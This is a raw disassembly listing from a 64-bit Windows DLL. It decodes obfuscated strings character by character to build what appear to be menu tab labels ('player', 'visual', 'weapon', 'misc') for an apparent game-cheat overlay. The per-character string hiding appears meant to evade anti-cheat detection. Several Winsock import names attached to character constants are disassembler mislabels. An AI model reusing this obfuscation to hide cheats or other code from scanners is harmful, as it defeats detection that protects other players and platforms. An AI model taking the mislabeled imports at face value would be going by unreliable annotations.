lea rcx, [rbp + 0x4748]
call fcn.180011e40
mov rcx, rax
call fcn.180011e90
mov edi, eax
movss xmm2, dword [rbp + 0x4b8c]
addss xmm2, dword [0x1801ce86c]
movss xmm1, dword [rbp + 0x4b88]
addss xmm1, xmm6
lea rcx, [rbp + 0x4120]
call fcn.180011e10
mov rbx, rax
movss xmm2, dword [rbp + 0x4b8c]
addss xmm2, dword [0x1801ce868]
movss xmm1, dword [rbp + 0x4b88]
addss xmm1, xmm7
lea rcx, [rbp + 0x4128]
call fcn.180011e10
mov dword [rsp + 0x28], r13d
movss dword [rsp + 0x20], xmm10
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.1800897a0
xor eax, eax
mov dword [rbp + 0x30], eax
mov byte [rbp + 0x34], al
mov cl, 0x4d
call fcn.1800146e0
movzx r14d, al
mov cl, 0x69
call fcn.1800146e0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800146e0
movzx edi, al
mov cl, 0x63
call fcn.1800146e0
movzx ebx, al
xor ecx, ecx
call fcn.1800146e0
mov byte [rbp + 0x30], r14b
mov byte [rbp + 0x31], sil
mov byte [rbp + 0x32], dil
mov byte [rbp + 0x33], bl
mov byte [rbp + 0x34], al
lea rcx, [rbp + 0x1338]
call fcn.180011f00
mov dword [rbp - 0x78], 0x400000
xor r8d, r8d
mov edx, r12d
lea rcx, [rbp + 0x1338]
call fcn.180014330
mov rdi, r13
mov esi, r12d
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x30]
call fcn.180014a00
movzx ecx, byte [rax]
call fcn.1800146e0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1338]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800c98c0
lea rcx, [rbp + 0x1338]
call fcn.1800143e0
mov rdx, rax
lea rcx, [0x1805dded0]
call fcn.180056330
nop
lea rcx, [rbp + 0x1338]
call fcn.180011f20
mov dword [0x1805e4f18], r13d
mov dword [0x1805e4f24], r13d
mov dword [0x1805e4f10], r13d
mov dword [0x1805e4f1c], r13d
mov eax, r13d
mov dword [0x1805e4f14], eax
mov ecx, dword [0x1805e4f20]
cmp ecx, 0xc8
jg 0x1800c9955
add ecx, 2
mov dword [0x1805e4f20], ecx
cmp dword [0x1805e4f5c], 5
jne 0x1800c9a30
mov dword [rsp + 0x20], eax
mov edx, 0x1d
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x4628]
call fcn.180011e40
mov rcx, rax
call fcn.180011e90
mov edi, eax
movss xmm2, dword [rbp + 0x4b8c]
addss xmm2, dword [0x1801ce880]
movss xmm1, dword [rbp + 0x4b88]
addss xmm1, xmm6
lea rcx, [rbp + 0x4130]
call fcn.180011e10
mov rbx, rax
movss xmm2, dword [rbp + 0x4b8c]
addss xmm2, dword [0x1801ce878]
movss xmm1, dword [rbp + 0x4b88]
addss xmm1, xmm7
lea rcx, [rbp + 0x4138]
call fcn.180011e10
mov dword [rsp + 0x28], r13d
movss dword [rsp + 0x20], xmm10
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.1800897a0
mov dword [0x1805e4f18], r13d
mov dword [0x1805e4f24], r13d
mov dword [0x1805e4f10], r13d
mov dword [0x1805e4f1c], r13d
mov dword [0x1805e4f20], r13d
mov eax, dword [0x1805e4f14]
cmp eax, 0xc8
jg 0x1800c9a30
add eax, 2
mov dword [0x1805e4f14], eax
movaps xmm0, xmm15
call fcn.180076bd0
movss xmm10, dword [0x1801ce7ec]
movaps xmm0, xmm10
call fcn.180076c20
movss xmm11, dword [0x1801ce7b4]
movaps xmm2, xmm11
movaps xmm1, xmm8
lea rcx, [rbp + 0x4140]
call fcn.180011e10
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1050], xmm0
mov cl, 0x23
call fcn.1800148a0
mov byte [rsp + 0x7b], al
mov cl, 0x23
call fcn.1800148a0
mov byte [rsp + 0x7d], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800148a0
mov byte [rsp + 0x7e], al
mov cl, 0x6c
call fcn.1800148a0
mov byte [rsp + 0x7c], al
mov cl, 0x61
call fcn.1800148a0
mov byte [rsp + 0x7a], al
mov cl, 0x79
call fcn.1800148a0
mov byte [rsp + 0x79], al
mov cl, 0x65
call fcn.1800148a0
mov byte [rsp + 0x78], al
mov cl, WSAStartup
call fcn.1800148a0
mov byte [rsp + 0x63], al
mov cl, 0x5f
call fcn.1800148a0
movzx r13d, al
mov cl, 0x62
call fcn.1800148a0
movzx r12d, al
mov cl, 0x75
call fcn.1800148a0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800148a0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800148a0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800148a0
movzx edi, al
mov cl, WSAGetLastError
call fcn.1800148a0
movzx ebx, al
xor ecx, ecx
call fcn.1800148a0
movzx ecx, byte [rsp + 0x7b]
mov byte [rbp + 0x1050], cl
movzx ecx, byte [rsp + 0x7d]
mov byte [rbp + 0x1051], cl
movzx ecx, byte [rsp + 0x7e]
mov byte [rbp + 0x1052], cl
movzx ecx, byte [rsp + 0x7c]
mov byte [rbp + 0x1053], cl
movzx ecx, byte [rsp + 0x7a]
mov byte [rbp + 0x1054], cl
movzx ecx, byte [rsp + 0x79]
mov byte [rbp + 0x1055], cl
movzx ecx, byte [rsp + 0x78]
mov byte [rbp + 0x1056], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0x1057], cl
mov byte [rbp + 0x1058], r13b
mov byte [rbp + 0x1059], r12b
mov byte [rbp + 0x105a], r15b
mov byte [rbp + 0x105b], r14b
mov byte [rbp + 0x105c], sil
mov byte [rbp + 0x105d], dil
mov byte [rbp + 0x105e], bl
mov byte [rbp + 0x105f], al
lea rcx, [rbp + 0x1358]
call fcn.180011f00
mov dword [rbp - 0x78], 0x4000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_recv
mov qword [rbp - 0x80], rbx
mov edx, ebx
lea rcx, [rbp + 0x1358]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x1050]
call fcn.180014b30
movzx ecx, byte [rax]
call fcn.1800148a0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1358]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800c9bf0
lea rcx, [rbp + 0x1358]
call fcn.1800143e0
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, rax
call fcn.180094d50
movzx ebx, al
lea rcx, [rbp + 0x1358]
call fcn.180011f20
test bl, bl
je 0x1800c9c59
mov dword [0x1805e4f5c], edi
call fcn.180076ba0
addss xmm0, xmm13
call fcn.180076c20
movaps xmm2, xmm11
movaps xmm1, xmm8
lea rcx, [rbp + 0x4148]
call fcn.180011e10
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd10], xmm0
mov byte [rbp + 0xd20], al
mov cl, 0x23
call fcn.180056a30
mov byte [rsp + 0x63], al
mov cl, 0x23
call fcn.180056a30
mov byte [rsp + 0x78], al
mov cl, 0x76
call fcn.180056a30
mov byte [rsp + 0x79], al
mov cl, 0x69
call fcn.180056a30
mov byte [rsp + 0x7a], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056a30
mov byte [rsp + 0x7c], al
mov cl, 0x75
call fcn.180056a30
mov byte [rsp + 0x7b], al
mov cl, 0x61
call fcn.180056a30
mov byte [rsp + 0x7d], al
mov cl, 0x6c
call fcn.180056a30
mov byte [rsp + 0x7e], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056a30
mov byte [rsp + 0x62], al
mov cl, 0x5f
call fcn.180056a30
movzx r13d, al
mov cl, 0x62
call fcn.180056a30
movzx r12d, al
mov cl, 0x75
call fcn.180056a30
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a30
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a30
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056a30
movzx edi, al
mov cl, WSAGetLastError
call fcn.180056a30
movzx ebx, al
xor ecx, ecx
call fcn.180056a30
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0xd10], cl
movzx ecx, byte [rsp + 0x78]
mov byte [rbp + 0xd11], cl
movzx ecx, byte [rsp + 0x79]
mov byte [rbp + 0xd12], cl
movzx ecx, byte [rsp + 0x7a]
mov byte [rbp + 0xd13], cl
movzx ecx, byte [rsp + 0x7c]
mov byte [rbp + 0xd14], cl
movzx ecx, byte [rsp + 0x7b]
mov byte [rbp + 0xd15], cl
movzx ecx, byte [rsp + 0x7d]
mov byte [rbp + 0xd16], cl
movzx ecx, byte [rsp + 0x7e]
mov byte [rbp + 0xd17], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0xd18], cl
mov byte [rbp + 0xd19], r13b
mov byte [rbp + 0xd1a], r12b
mov byte [rbp + 0xd1b], r15b
mov byte [rbp + 0xd1c], r14b
mov byte [rbp + 0xd1d], sil
mov byte [rbp + 0xd1e], dil
mov byte [rbp + 0xd1f], bl
mov byte [rbp + 0xd20], al
lea rcx, [rbp + 0x1378]
call fcn.180011f00
mov dword [rbp - 0x78], 0x8000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_recvfrom
mov edx, ebx
lea rcx, [rbp + 0x1378]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0xd10]
call fcn.1800148e0
movzx ecx, byte [rax]
call fcn.180056a30
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1378]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800c9e10
lea rcx, [rbp + 0x1378]
call fcn.1800143e0
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, rax
call fcn.180094d50
movzx ebx, al
lea rcx, [rbp + 0x1378]
call fcn.180011f20
test bl, bl
je 0x1800c9e7d
mov dword [0x1805e4f5c], 1
call fcn.180076ba0
addss xmm0, xmm13
call fcn.180076c20
movaps xmm2, xmm11
movaps xmm1, xmm8
lea rcx, [rbp + 0x4150]
call fcn.180011e10
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcf8], xmm0
mov byte [rbp + 0xd08], al
mov cl, 0x23
call fcn.180056b60
mov byte [rsp + 0x62], al
mov cl, 0x23
call fcn.180056b60
mov byte [rsp + 0x63], al
mov cl, 0x77
call fcn.180056b60
mov byte [rsp + 0x78], al
mov cl, 0x65
call fcn.180056b60
mov byte [rsp + 0x79], al
mov cl, 0x61
call fcn.180056b60
mov byte [rsp + 0x7a], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056b60
mov byte [rsp + 0x7c], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056b60
mov byte [rsp + 0x7b], al
mov cl, WSAGetLastError
call fcn.180056b60
mov byte [rsp + 0x7d], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056b60
mov byte [rsp + 0x7e], al
mov cl, 0x5f
call fcn.180056b60
movzx r13d, al
mov cl, 0x62
call fcn.180056b60
movzx r12d, al
mov cl, 0x75
call fcn.180056b60
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056b60
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056b60
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056b60
movzx edi, al
mov cl, WSAGetLastError
call fcn.180056b60
movzx ebx, al
xor ecx, ecx
call fcn.180056b60
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0xcf8], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0xcf9], cl
movzx ecx, byte [rsp + 0x78]
mov byte [rbp + 0xcfa], cl
movzx ecx, byte [rsp + 0x79]
mov byte [rbp + 0xcfb], cl
movzx ecx, byte [rsp + 0x7a]
mov byte [rbp + 0xcfc], cl
movzx ecx, byte [rsp + 0x7c]
mov byte [rbp + 0xcfd], cl
movzx ecx, byte [rsp + 0x7b]
mov byte [rbp + 0xcfe], cl
movzx ecx, byte [rsp + 0x7d]
mov byte [rbp + 0xcff], cl
movzx ecx, byte [rsp + 0x7e]
mov byte [rbp + 0xd00], cl
mov byte [rbp + 0xd01], r13b
mov byte [rbp + 0xd02], r12b
mov byte [rbp + 0xd03], r15b
mov byte [rbp + 0xd04], r14b
mov byte [rbp + 0xd05], sil
mov byte [rbp + 0xd06], dil
mov byte [rbp + 0xd07], bl
mov byte [rbp + 0xd08], al
lea rcx, [rbp + 0x1398]
call fcn.180011f00
mov dword [rbp - 0x78], 0x10000
xor r8d, r8d
mov esi, reloc.WS2_32.dll_recvfrom
mov edx, esi
lea rcx, [rbp + 0x1398]
call fcn.180014330
xor edi, edi
nop
mov rdx, rdi
lea rcx, [rbp + 0xcf8]
call fcn.1800148e0
movzx ecx, byte [rax]
call fcn.180056b60
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1398]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ca030
lea rcx, [rbp + 0x1398]
call fcn.1800143e0
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, rax
call fcn.180094d50
movzx ebx, al
lea rcx, [rbp + 0x1398]
call fcn.180011f20
test bl, bl
je 0x1800ca09d
mov dword [0x1805e4f5c], 2
call fcn.180076ba0
addss xmm0, xmm13
call fcn.180076c20
movaps xmm2, xmm11
movaps xmm1, xmm8
lea rcx, [rbp + 0x4158]
call fcn.180011e10
mov qword [rsp + 0x68], rax
xor eax, eax
mov qword [rbp + 0x5d0], rax
mov dword [rbp + 0x5d8], eax
mov byte [rbp + 0x5dc], al
mov cl, 0x23
call fcn.180014980
mov byte [rsp + 0x62], al
mov cl, 0x23
call fcn.180014980
mov byte [rsp + 0x63], al
mov cl, 0x63
call fcn.180014980
mov byte [rsp + 0x78], al
mov cl, 0x61
call fcn.180014980
mov byte [rsp + 0x79], al
mov cl, WSAStartup
call fcn.180014980
mov byte [rsp + 0x7a], al
mov cl, 0x5f
call fcn.180014980
movzx r13d, al
mov cl, 0x62
call fcn.180014980
movzx r12d, al
mov cl, 0x75
call fcn.180014980
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014980
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014980
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014980
movzx edi, al
mov cl, WSAGetLastError
call fcn.180014980
movzx ebx, al
xor ecx, ecx
call fcn.180014980
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0x5d0], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0x5d1], cl
movzx ecx, byte [rsp + 0x78]
mov byte [rbp + 0x5d2], cl
movzx ecx, byte [rsp + 0x79]
mov byte [rbp + 0x5d3], cl
movzx ecx, byte [rsp + 0x7a]
mov byte [rbp + 0x5d4], cl
mov byte [rbp + 0x5d5], r13b
mov byte [rbp + 0x5d6], r12b
mov byte [rbp + 0x5d7], r15b
mov byte [rbp + 0x5d8], r14b
mov byte [rbp + 0x5d9], sil
mov byte [rbp + 0x5da], dil
mov byte [rbp + 0x5db], bl
mov byte [rbp + 0x5dc], al
lea rcx, [rbp + 0x13b8]
call fcn.180011f00
mov dword [rbp - 0x78], 0x20000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x13b8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x5d0]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.180014980
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x13b8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ca200
lea rcx, [rbp + 0x13b8]
call fcn.1800143e0
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, rax
call fcn.180094d50
movzx ebx, al
lea rcx, [rbp + 0x13b8]
call fcn.180011f20
test bl, bl
je 0x1800ca26d
mov dword [0x1805e4f5c], 3
call fcn.180076ba0
addss xmm0, xmm13
call fcn.180076c20
movaps xmm2, xmm11
movaps xmm1, xmm8
lea rcx, [rbp + 0x4160]
call fcn.180011e10
mov qword [rsp + 0x68], rax
xor eax, eax
mov qword [rbp + 0x9a0], rax
mov dword [rbp + 0x9a8], eax
mov word [rbp + 0x9ac], ax
mov cl, 0x23
call fcn.1800146c0
mov byte [rsp + 0x62], al
mov cl, 0x23
call fcn.1800146c0
mov byte [rsp + 0x63], al
mov cl, 0x6d
call fcn.1800146c0
mov byte [rsp + 0x78], al
mov cl, 0x69
call fcn.1800146c0
mov byte [rsp + 0x79], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800146c0
mov byte [rsp + 0x7a], al
mov cl, 0x63
call fcn.1800146c0
mov byte [rsp + 0x7c], al
mov cl, 0x5f
call fcn.1800146c0
movzx r13d, al
mov cl, 0x62
call fcn.1800146c0
movzx r12d, al
mov cl, 0x75
call fcn.1800146c0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800146c0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800146c0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800146c0
movzx edi, al
mov cl, WSAGetLastError
call fcn.1800146c0
movzx ebx, al
xor ecx, ecx
call fcn.1800146c0
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0x9a0], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0x9a1], cl
movzx ecx, byte [rsp + 0x78]
mov byte [rbp + 0x9a2], cl
movzx ecx, byte [rsp + 0x79]
mov byte [rbp + 0x9a3], cl
movzx ecx, byte [rsp + 0x7a]
mov byte [rbp + 0x9a4], cl
movzx ecx, byte [rsp + 0x7c]
mov byte [rbp + 0x9a5], cl
mov byte [rbp + 0x9a6], r13b
mov byte [rbp + 0x9a7], r12b
mov byte [rbp + 0x9a8], r15b
mov byte [rbp + 0x9a9], r14b
mov byte [rbp + 0x9aa], sil
mov byte [rbp + 0x9ab], dil
mov byte [rbp + 0x9ac], bl
mov byte [rbp + 0x9ad], al
lea rcx, [rbp + 0x13d8]
call fcn.180011f00
mov dword [rbp - 0x78], 0x40000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x13d8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x9a0]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.1800146c0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x13d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ca3f0
lea rcx, [rbp + 0x13d8]
call fcn.1800143e0
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, rax
call fcn.180094d50
movzx ebx, al
lea rcx, [rbp + 0x13d8]
call fcn.180011f20
test bl, bl
je 0x1800ca45d
mov dword [0x1805e4f5c], 4
call fcn.180076ba0
addss xmm0, xmm13
call fcn.180076c20
movaps xmm2, xmm11
movaps xmm1, xmm8
lea rcx, [rbp + 0x4168]
call fcn.180011e10
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe30], xmm0
mov word [rbp + 0xe40], ax
mov cl, 0x23
call fcn.180056a30
mov byte [rsp + 0x62], al
mov cl, 0x23
call fcn.180056a30
mov byte [rsp + 0x63], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056a30
mov byte [rsp + 0x78], al
mov cl, 0x65
call fcn.180056a30
mov byte [rsp + 0x79], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a30
mov byte [rsp + 0x7a], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a30
mov byte [rsp + 0x7c], al
mov cl, 0x69
call fcn.180056a30
mov byte [rsp + 0x7b], al
mov cl, WSAGetLastError
call fcn.180056a30
mov byte [rsp + 0x7d], al
mov cl, 0x67
call fcn.180056a30
mov byte [rsp + 0x7e], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056a30
mov byte [rsp + 0x61], al
mov cl, 0x5f
call fcn.180056a30
movzx r13d, al
mov cl, 0x62
call fcn.180056a30
movzx r12d, al
mov cl, 0x75
call fcn.180056a30
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a30
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a30
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056a30
movzx edi, al
mov cl, WSAGetLastError
call fcn.180056a30
movzx ebx, al
xor ecx, ecx
call fcn.180056a30
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0xe30], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0xe31], cl
movzx ecx, byte [rsp + 0x78]
mov byte [rbp + 0xe32], cl
movzx ecx, byte [rsp + 0x79]
mov byte [rbp + 0xe33], cl
movzx ecx, byte [rsp + 0x7a]
mov byte [rbp + 0xe34], cl
movzx ecx, byte [rsp + 0x7c]
mov byte [rbp + 0xe35], cl
movzx ecx, byte [rsp + 0x7b]
mov byte [rbp + 0xe36], cl
movzx ecx, byte [rsp + 0x7d]
mov byte [rbp + 0xe37], cl
movzx ecx, byte [rsp + 0x7e]
mov byte [rbp + 0xe38], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0xe39], cl
mov byte [rbp + 0xe3a], r13b
mov byte [rbp + 0xe3b], r12b
mov byte [rbp + 0xe3c], r15b
mov byte [rbp + 0xe3d], r14b
mov byte [rbp + 0xe3e], sil
mov byte [rbp + 0xe3f], dil
mov byte [rbp + 0xe40], bl
mov byte [rbp + 0xe41], al
lea rcx, [rbp + 0x13f8]
call fcn.180011f00
mov dword [rbp - 0x78], 0x80000
xor r8d, r8d
mov r14d, reloc.WS2_32.dll_select
mov edx, r14d
lea rcx, [rbp + 0x13f8]
call fcn.180014330
xor edi, edi
mov esi, r14d
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xe30]
call fcn.180014880
movzx ecx, byte [rax]
call fcn.180056a30
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x13f8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ca630
lea rcx, [rbp + 0x13f8]
call fcn.1800143e0
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, rax
call fcn.180094d50
movzx ebx, al
lea rcx, [rbp + 0x13f8]
call fcn.180011f20
test bl, bl
je 0x1800ca69d
mov dword [0x1805e4f5c], 5
movss xmm12, dword [0x1801ce7a0]
movaps xmm0, xmm12
call fcn.180076bd0
movss xmm0, dword [0x1801ce800]
call fcn.180076c20
movss xmm6, dword [0x1801ce840]
movss xmm7, dword [0x1801ce5b8]
cmp dword [0x1805e4f5c], 0
jne 0x1800ca6ea
movd xmm0, dword [0x1805e4f18]
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
divss xmm0, xmm7
jmp 0x1800ca6ee
movaps xmm0, xmm9
movss dword [rsp + 0x20], xmm0
movss xmm0, dword [0x1801ce5d0]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
lea rcx, [rbp + 0x4778]
call fcn.180011e20
mov rcx, rax
lea rdx, [0x1801ce3f4]
call fcn.1800941d0
movss xmm0, dword [0x1801ce798]
call fcn.180076bd0
call fcn.180076ba0
addss xmm0, xmm11
call fcn.180076c20
cmp dword [0x1805e4f5c], 1
jne 0x1800ca75a
movd xmm0, dword [0x1805e4f24]
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
divss xmm0, xmm7
jmp 0x1800ca75e
movaps xmm0, xmm9
movss dword [rsp + 0x20], xmm0
movss xmm0, dword [0x1801ce5d0]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
lea rcx, [rbp + 0x4788]
call fcn.180011e20
mov rcx, rax
lea rdx, [0x1801ce3f0]
call fcn.1800941d0
movss xmm0, dword [0x1801ce79c]
call fcn.180076bd0
call fcn.180076ba0
addss xmm0, xmm11
call fcn.180076c20
cmp dword [0x1805e4f5c], 2
jne 0x1800ca7ca
movd xmm0, dword [0x1805e4f10]
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
divss xmm0, xmm7
jmp 0x1800ca7ce
movaps xmm0, xmm9
movss dword [rsp + 0x20], xmm0
movss xmm0, dword [0x1801ce5d0]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
lea rcx, [rbp + 0x4798]
call fcn.180011e20
mov rcx, rax
lea rdx, [0x1801ce3ec]
call fcn.1800941d0
movss xmm0, dword [0x1801ce79c]
call fcn.180076bd0
call fcn.180076ba0
addss xmm0, xmm11
call fcn.180076c20
cmp dword [0x1805e4f5c], 3
jne 0x1800ca83a
movd xmm0, dword [0x1805e4f1c]
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
divss xmm0, xmm7
jmp 0x1800ca83e
movaps xmm0, xmm9
movss dword [rsp + 0x20], xmm0
movss xmm0, dword [0x1801ce5d0]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
lea rcx, [rbp + 0x47a8]
call fcn.180011e20
mov rcx, rax
lea rdx, [0x1801ce400]
call fcn.1800941d0
movss xmm0, dword [0x1801ce79c]
call fcn.180076bd0
call fcn.180076ba0
addss xmm0, xmm11
call fcn.180076c20
cmp dword [0x1805e4f5c], 4
jne 0x1800ca8aa
movd xmm0, dword [0x1805e4f20]
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
divss xmm0, xmm7
jmp 0x1800ca8ae
movaps xmm0, xmm9
movss dword [rsp + 0x20], xmm0
movss xmm0, dword [0x1801ce5d0]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
lea rcx, [rbp + 0x47b8]
call fcn.180011e20
mov rcx, rax
lea rdx, [0x1801ce3fc]
call fcn.1800941d0
movss xmm0, dword [0x1801ce79c]
call fcn.180076bd0
call fcn.180076ba0
addss xmm0, dword [0x1801ce7cc]
call fcn.180076c20
cmp dword [0x1805e4f5c], 5
jne 0x1800ca91d
movd xmm0, dword [0x1805e4f14]
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
divss xmm0, xmm7
jmp 0x1800ca921
movaps xmm0, xmm9
movss dword [rsp + 0x20], xmm0
movss xmm7, dword [0x1801ce5d0]
movaps xmm3, xmm7
movaps xmm2, xmm7
movaps xmm1, xmm7
lea rcx, [rbp + 0x47c8]
call fcn.180011e20
mov rcx, rax
lea rdx, [0x1801ce3f8]
call fcn.1800941d0
call fcn.180075800
call fcn.180070430
movaps xmm0, xmm10
call fcn.180076bd0
movaps xmm0, xmm15
call fcn.180076c20
lea rcx, [rbp + 0x4170]
call fcn.180076f00
movaps xmm2, xmm8
movss xmm1, dword [rax]
lea rcx, [rbp + 0x4178]
call fcn.180011e10
mov qword [rsp + 0x68], rax
xor eax, eax
mov qword [rbp + 0x750], rax
mov word [rbp + 0x758], ax
mov cl, 0x23
call fcn.180014990
mov byte [rsp + 0x61], al
mov cl, 0x23
call fcn.180014990
mov byte [rsp + 0x62], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014990
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014990
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014990
movzx r15d, al
mov cl, 0x5f
call fcn.180014990
movzx r14d, al
mov cl, 0x62
call fcn.180014990
movzx esi, al
mov cl, 0x61
call fcn.180014990
movzx edi, al
mov cl, WSAStartup
call fcn.180014990
movzx ebx, al
xor ecx, ecx
call fcn.180014990
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0x750], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0x751], cl
mov byte [rbp + 0x752], r13b
mov byte [rbp + 0x753], r12b
mov byte [rbp + 0x754], r15b
mov byte [rbp + 0x755], r14b
mov byte [rbp + 0x756], sil
mov byte [rbp + 0x757], dil
mov byte [rbp + 0x758], bl
mov byte [rbp + 0x759], al
lea rcx, [rbp + 0x1418]
call fcn.180011f00
mov dword [rbp - 0x78], 0x1000
xor r8d, r8d
mov ebx, 0xa
mov edx, ebx
lea rcx, [rbp + 0x1418]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x750]
call fcn.180014ac0
movzx ecx, byte [rax]
call fcn.180014990
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1418]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800caa90
lea rcx, [rbp + 0x1418]
call fcn.1800143e0
lea r9d, [rsi + 0x18]
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x1418]
call fcn.180011f20
lea rcx, [rbp + 0x4b90]
call fcn.180076b80
call fcn.180075c00
mov r14, rax
